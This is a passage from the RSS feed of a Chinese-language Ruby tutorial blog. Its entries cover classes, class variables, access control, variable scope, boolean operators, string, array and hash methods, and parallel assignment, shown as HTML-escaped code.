&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;user&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="no"&gt;User&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;new&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;Hello&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;18&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;user&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;say_hi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h2 id="class-method--class-variable-类方法类变量"&gt;Class Method &amp;amp; Class Variable 类方法，类变量&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;Class Method:类方法，静态方法&lt;/li&gt;
&lt;li&gt;Class Variable:类变量, 使用@@定义&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1
&lt;/span&gt;&lt;span class="lnt"&gt; 2
&lt;/span&gt;&lt;span class="lnt"&gt; 3
&lt;/span&gt;&lt;span class="lnt"&gt; 4
&lt;/span&gt;&lt;span class="lnt"&gt; 5
&lt;/span&gt;&lt;span class="lnt"&gt; 6
&lt;/span&gt;&lt;span class="lnt"&gt; 7
&lt;/span&gt;&lt;span class="lnt"&gt; 8
&lt;/span&gt;&lt;span class="lnt"&gt; 9
&lt;/span&gt;&lt;span class="lnt"&gt;10
&lt;/span&gt;&lt;span class="lnt"&gt;11
&lt;/span&gt;&lt;span class="lnt"&gt;12
&lt;/span&gt;&lt;span class="lnt"&gt;13
&lt;/span&gt;&lt;span class="lnt"&gt;14
&lt;/span&gt;&lt;span class="lnt"&gt;15
&lt;/span&gt;&lt;span class="lnt"&gt;16
&lt;/span&gt;&lt;span class="lnt"&gt;17
&lt;/span&gt;&lt;span class="lnt"&gt;18
&lt;/span&gt;&lt;span class="lnt"&gt;19
&lt;/span&gt;&lt;span class="lnt"&gt;20
&lt;/span&gt;&lt;span class="lnt"&gt;21
&lt;/span&gt;&lt;span class="lnt"&gt;22
&lt;/span&gt;&lt;span class="lnt"&gt;23
&lt;/span&gt;&lt;span class="lnt"&gt;24
&lt;/span&gt;&lt;span class="lnt"&gt;25
&lt;/span&gt;&lt;span class="lnt"&gt;26
&lt;/span&gt;&lt;span class="lnt"&gt;27
&lt;/span&gt;&lt;span class="lnt"&gt;28
&lt;/span&gt;&lt;span class="lnt"&gt;29
&lt;/span&gt;&lt;span class="lnt"&gt;30
&lt;/span&gt;&lt;span class="lnt"&gt;31
&lt;/span&gt;&lt;span class="lnt"&gt;32
&lt;/span&gt;&lt;span class="lnt"&gt;33
&lt;/span&gt;&lt;span class="lnt"&gt;34
&lt;/span&gt;&lt;span class="lnt"&gt;35
&lt;/span&gt;&lt;span class="lnt"&gt;36
&lt;/span&gt;&lt;span class="lnt"&gt;37
&lt;/span&gt;&lt;span class="lnt"&gt;38
&lt;/span&gt;&lt;span class="lnt"&gt;39
&lt;/span&gt;&lt;span class="lnt"&gt;40
&lt;/span&gt;&lt;span class="lnt"&gt;41
&lt;/span&gt;&lt;span class="lnt"&gt;42
&lt;/span&gt;&lt;span class="lnt"&gt;43
&lt;/span&gt;&lt;span class="lnt"&gt;44
&lt;/span&gt;&lt;span class="lnt"&gt;45
&lt;/span&gt;&lt;span class="lnt"&gt;46
&lt;/span&gt;&lt;span class="lnt"&gt;47
&lt;/span&gt;&lt;span class="lnt"&gt;48
&lt;/span&gt;&lt;span class="lnt"&gt;49
&lt;/span&gt;&lt;span class="lnt"&gt;50
&lt;/span&gt;&lt;span class="lnt"&gt;51
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-ruby" data-lang="ruby"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# class, method&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;User&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kp"&gt;attr_accessor&lt;/span&gt; &lt;span class="ss"&gt;:name&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kp"&gt;attr_accessor&lt;/span&gt; &lt;span class="ss"&gt;:age&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="vc"&gt;@@counter&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;initialize&lt;/span&gt; &lt;span class="nb"&gt;name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;age&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="vi"&gt;@name&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;name&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="vi"&gt;@age&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;age&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="vc"&gt;@@counter&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;say_hi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;puts&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;hello &lt;/span&gt;&lt;span class="si"&gt;#{&lt;/span&gt;&lt;span class="vi"&gt;@name&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;, i am &lt;/span&gt;&lt;span class="si"&gt;#{&lt;/span&gt;&lt;span class="vi"&gt;@age&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nc"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get_counter&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="vc"&gt;@@counter&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;puts&lt;/span&gt; &lt;span class="no"&gt;User&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get_counter&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;user&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="no"&gt;User&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;new&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;Hello&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;18&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;user&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;say_hi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;puts&lt;/span&gt; &lt;span class="no"&gt;User&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get_counter&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;## Access Control 访问控制&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="kp"&gt;public&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="kp"&gt;protected&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="kp"&gt;private&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# class, method&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;User&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kp"&gt;attr_accessor&lt;/span&gt; &lt;span class="ss"&gt;:name&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kp"&gt;attr_accessor&lt;/span&gt; &lt;span class="ss"&gt;:age&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;initialize&lt;/span&gt; &lt;span class="nb"&gt;name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;age&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="vi"&gt;@name&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;name&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="vi"&gt;@age&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;age&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;say_hello&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;puts&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;hello...&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;say_hi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;say_hey&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;say_hi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;puts&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;hello &lt;/span&gt;&lt;span class="si"&gt;#{&lt;/span&gt;&lt;span class="vi"&gt;@name&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;, i am &lt;/span&gt;&lt;span class="si"&gt;#{&lt;/span&gt;&lt;span class="vi"&gt;@age&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;say_hey&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;puts&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;hey, i am &lt;/span&gt;&lt;span class="si"&gt;#{&lt;/span&gt;&lt;span class="vi"&gt;@name&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kp"&gt;protected&lt;/span&gt; &lt;span class="ss"&gt;:say_hi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ss"&gt;:say_hey&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;user&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="no"&gt;User&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;new&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;Hello&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;18&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;user&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;say_hello&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h2 id="dynamic-ruby-动态特性"&gt;Dynamic Ruby 动态特性&lt;/h2&gt;
&lt;h3 id="user内幕"&gt;User内幕&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1
&lt;/span&gt;&lt;span class="lnt"&gt; 2
&lt;/span&gt;&lt;span class="lnt"&gt; 3
&lt;/span&gt;&lt;span class="lnt"&gt; 4
&lt;/span&gt;&lt;span class="lnt"&gt; 5
&lt;/span&gt;&lt;span class="lnt"&gt; 6
&lt;/span&gt;&lt;span class="lnt"&gt; 7
&lt;/span&gt;&lt;span class="lnt"&gt; 8
&lt;/span&gt;&lt;span class="lnt"&gt; 9
&lt;/span&gt;&lt;span class="lnt"&gt;10
&lt;/span&gt;&lt;span class="lnt"&gt;11
&lt;/span&gt;&lt;span class="lnt"&gt;12
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-ruby" data-lang="ruby"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# attr_accessor 方法从哪里来的？&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;User&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# ...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="no"&gt;User&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;class&lt;/span&gt; &lt;span class="c1"&gt;# =&amp;gt; class&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# Class.attr_accessor 背后的秘密&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# define_method&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# attr_accessor, define_method&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;define_method&lt;/span&gt; &lt;span class="ss"&gt;:hello&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;puts&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;hello world&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;hello&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;自己实现 attr_accessor&lt;/p&gt;</description></item><item><title>Ruby6 细节补充</title><link>https://luodaoyi.com/posts/ruby6-%E7%BB%86%E8%8A%82%E8%A1%A5%E5%85%85-ruby6%E7%BB%86%E8%8A%82%E8%A1%A5%E5%85%85/</link><pubDate>Sat, 17 Feb 2018 11:42:00 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/ruby6-%E7%BB%86%E8%8A%82%E8%A1%A5%E5%85%85-ruby6%E7%BB%86%E8%8A%82%E8%A1%A5%E5%85%85/</guid><description>&lt;h2 id="代码规范"&gt;代码规范&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;使用UTF-8编码&lt;/li&gt;
&lt;li&gt;使用空格缩进，不使用tab, 1 tab = 2 spaces&lt;/li&gt;
&lt;li&gt;不需要使用分号(;)和反斜杠()连接代码&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Demo&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# basic types
a = 1
b = &amp;quot;hello world&amp;quot;
# one line
c = [&amp;quot;pear&amp;quot;, &amp;quot;cat&amp;quot;, &amp;quot;dog&amp;quot;]
# or multiple lines
c2 = [
 &amp;quot;pear&amp;quot;,
 &amp;quot;cat&amp;quot;,
 &amp;quot;dog&amp;quot;
]
d = { name:&amp;quot;world&amp;quot;, age:18 }
d2 = {
 name:&amp;quot;world&amp;quot;,
 age:18
}
# source layout, conversion
# with or without()
def hello(name, age = 18)
 puts &amp;quot;hello #{name}, and age is #{age}&amp;quot;
end
def hello name, age = 18
 puts &amp;quot;hello #{name}, and age is #{age}&amp;quot;
end
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id="变量类型"&gt;变量类型&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;local variables 局部变量: a = 1,b = hello&lt;/li&gt;
&lt;li&gt;constants 常量: Names = [&amp;amp;#8217;john&amp;amp;#8217;,&amp;amp;#8217;alex&amp;amp;#8217;]&lt;/li&gt;
&lt;li&gt;global variables 全局变量: $platform = &amp;amp;#8217;mac&amp;amp;#8217;&lt;/li&gt;
&lt;li&gt;instance variables 实例变量: @name = &amp;amp;#8217;world&amp;amp;#8217;&lt;/li&gt;
&lt;li&gt;class variables 类变量: @@counter = 20&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;# variables scope
# constant
Name = &amp;quot;world&amp;quot;
Name = &amp;quot;worlds&amp;quot; # =&amp;gt; output wraning
Name.replace &amp;quot;world_2&amp;quot; # =&amp;gt; safe
puts Name

# instance variable and class variable
class User
 # 相当于定义一个get操作：相当于有一个name的实例变量
 # 使用attr_reader关键字，实现把内部的实例变量 向外部保留一个访问接口
 attr_reader :name
 ## 相当于静态变量
 @@counter = 0
 def initialize name
 @name = name
 @@counter += 1 #记录实例化次数
 end
 def get_counter
 @@counter
 end
end
user = User.new &amp;quot;world&amp;quot;
puts user.name
puts user.get_counter

# variables scope
# global variables
def hello
 puts $$ #=&amp;gt; process id
 p $: # =&amp;gt; ruby loading path
end
hello
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id="boolean表达式"&gt;Boolean表达式&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;%%, ||, !&lt;/li&gt;
&lt;li&gt;And, Or, Not&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;#boolean clause
puts (true and true)
puts (true and false)
puts (true or false)
puts (not true)

#boolean clause
a = (false and false || true) # 先|| 再and
b = (false and false or true) # 优先级相同 先 and 再or
puts a
puts b

#boolean clause
a = nil
b = a || 4 # 如果a是成立的(不是false和nim) 那么a赋值给b 否则赋值4给b
puts b # =&amp;gt; 4
c = b &amp;amp;&amp;amp; 5 # 如果b成立那么执行 c = 5
puts c # =&amp;gt; 5


#boolean clause
# preference
# and or not 优先级 低于 &amp;amp;&amp;amp; || ! =
a = nil
b = a or 4 # or 优先级 低于 = 操作符 所以实际吧a赋值给b 然后 or 4
puts b # =&amp;gt; will be nil
c = b &amp;amp;&amp;amp; 5 # b是nil 所有 b&amp;amp;&amp;amp;5 不成立 所以 c =nil
puts c #=&amp;gt; will be nil
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id="stringhash和array常用方法"&gt;String,Hash和Array常用方法&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;# string
a = &amp;quot;hello world&amp;quot;
a.empty? # =&amp;gt; false
a[0] = &amp;quot;a&amp;quot; # =&amp;gt; aello world
a.freeze
a[0] = &amp;quot;h&amp;quot; # =&amp;gt; will raise error
a = &amp;quot;hello&amp;quot; # =&amp;gt;ok, re-assign value


# string
a = &amp;quot;hello world&amp;quot;
a.reverse # =&amp;gt; dlrow olleh
# both of these method have ! version
a.sub(&amp;quot;o&amp;quot;, &amp;quot;A&amp;quot;) # =&amp;gt;hellA world
a.gsub(&amp;quot;o&amp;quot;, &amp;quot;A&amp;quot;) # =&amp;gt; hellA wArld
a.start_with? &amp;quot;h&amp;quot; # =&amp;gt; true
a.end_with? &amp;quot;d&amp;quot; # =&amp;gt; true
a.include? &amp;quot;o&amp;quot;

# string
a = &amp;quot;hello world&amp;quot;
b = a.split(&amp;quot; &amp;quot;) # =&amp;gt; [&amp;quot;hello&amp;quot;, &amp;quot;world&amp;quot;]
b.join(&amp;quot; &amp;quot;) # =&amp;gt; hello world

# string
# variable refer
a = &amp;quot;hello world&amp;quot;
b = a # 将字符串的引用地址 或者说指针 给了b
puts b
b[0] = &amp;quot;A&amp;quot;
puts a # =&amp;gt; Aello world
puts &amp;quot;-&amp;quot; * 30
a = &amp;quot;hello world&amp;quot;
b = a.dup # what&amp;quot;s the difference with String#clone method? 完整复制， 不是引用了
b[0] = &amp;quot;A&amp;quot;
puts b # =&amp;gt; Aello world
puts a # =&amp;gt; hello world
#output
hello world
Aello world
------------------------------
Aello world
hello world

# array
a = [&amp;quot;pear&amp;quot;, &amp;quot;cat&amp;quot;, &amp;quot;horse&amp;quot;]
puts a.join(&amp;quot; &amp;quot;) # 数组中必须都是字符串 才可以用字符连接
a.clear #清空数组
a.find {|x| x == &amp;quot;horse&amp;quot;} #查找匹配到的
a.map {|x| x.upcase} # 迭代执行
a.collect {|x| x.upcase} #map方法的别名
a.uniq #排除多余重复
a.flatten #吧二维或者多维转换以为
a.sort #排序
a.count #元素数量
a.delete_if {|x| x == &amp;quot;horse&amp;quot;} #匹配则删除
a.each {|x| puts x} #遍历

# hash
a = {name: &amp;quot;world&amp;quot;, age: 18}
a.each {|key, value| puts key} #遍历
a.keys # 所有key
a.values # 所有value
a.has_key? :name #判断是否有key
a.delete :name #删除key
a.delete_if #匹配则删除
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id="其他"&gt;其他&lt;/h2&gt;
&lt;p&gt;Buildin Methods&lt;/p&gt;</description></item><item><title>Ruby5 其他的奇技淫巧</title><link>https://luodaoyi.com/posts/ruby5-%E5%85%B6%E4%BB%96%E7%9A%84%E5%A5%87%E6%8A%80%E6%B7%AB%E5%B7%A7-ruby5%E5%85%B6%E4%BB%96%E7%9A%84%E5%A5%87%E6%8A%80%E6%B7%AB%E5%B7%A7/</link><pubDate>Sat, 17 Feb 2018 04:01:00 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/ruby5-%E5%85%B6%E4%BB%96%E7%9A%84%E5%A5%87%E6%8A%80%E6%B7%AB%E5%B7%A7-ruby5%E5%85%B6%E4%BB%96%E7%9A%84%E5%A5%87%E6%8A%80%E6%B7%AB%E5%B7%A7/</guid><description>&lt;h2 id="变量赋值"&gt;变量赋值&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;# 变量交换
a = 1
b = 2
b,a = a,b
puts a
puts b
puts &amp;quot;-&amp;quot; * 30
x = [1, 2, 3]
a, b = x #默认会把数组中的值依次赋值给 a ,b
puts a
puts b
puts &amp;quot;-&amp;quot; * 30
x = [1, 2, 3]
a, *b = x #这里a会接受第一个元素 b用了*号 表示接受剩下所有的元素
puts a
p b
#output
2
1
------------------------------
1
2
------------------------------
1
[2, 3]
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id="fixnum--float"&gt;Fixnum &amp;amp; Float&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;# number
puts 1 / 10
puts 1 / 10.0
puts &amp;quot;-&amp;quot; * 30
#output
0.1
------------------------------
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id="string"&gt;String&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;# string
a = &amp;quot;world&amp;quot;
b = %Q{
 hello
 #{a}
}
# 这里不但可以用 {} 也可以用 ()
# 但是这里的Q必须是大Q 如果是小q的话 就相当于单引号的效果
puts b
puts &amp;quot;-&amp;quot; * 30
&lt;/code&gt;&lt;/pre&gt;</description></item><item><title>Ruby4 Blocks and Exceptions</title><link>https://luodaoyi.com/posts/ruby4-blocks-and-exceptions-ruby4blocksandexceptions/</link><pubDate>Sat, 17 Feb 2018 00:06:00 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/ruby4-blocks-and-exceptions-ruby4blocksandexceptions/</guid><description>&lt;h2 id="block-代码块"&gt;Block 代码块&lt;/h2&gt;
&lt;ol&gt;
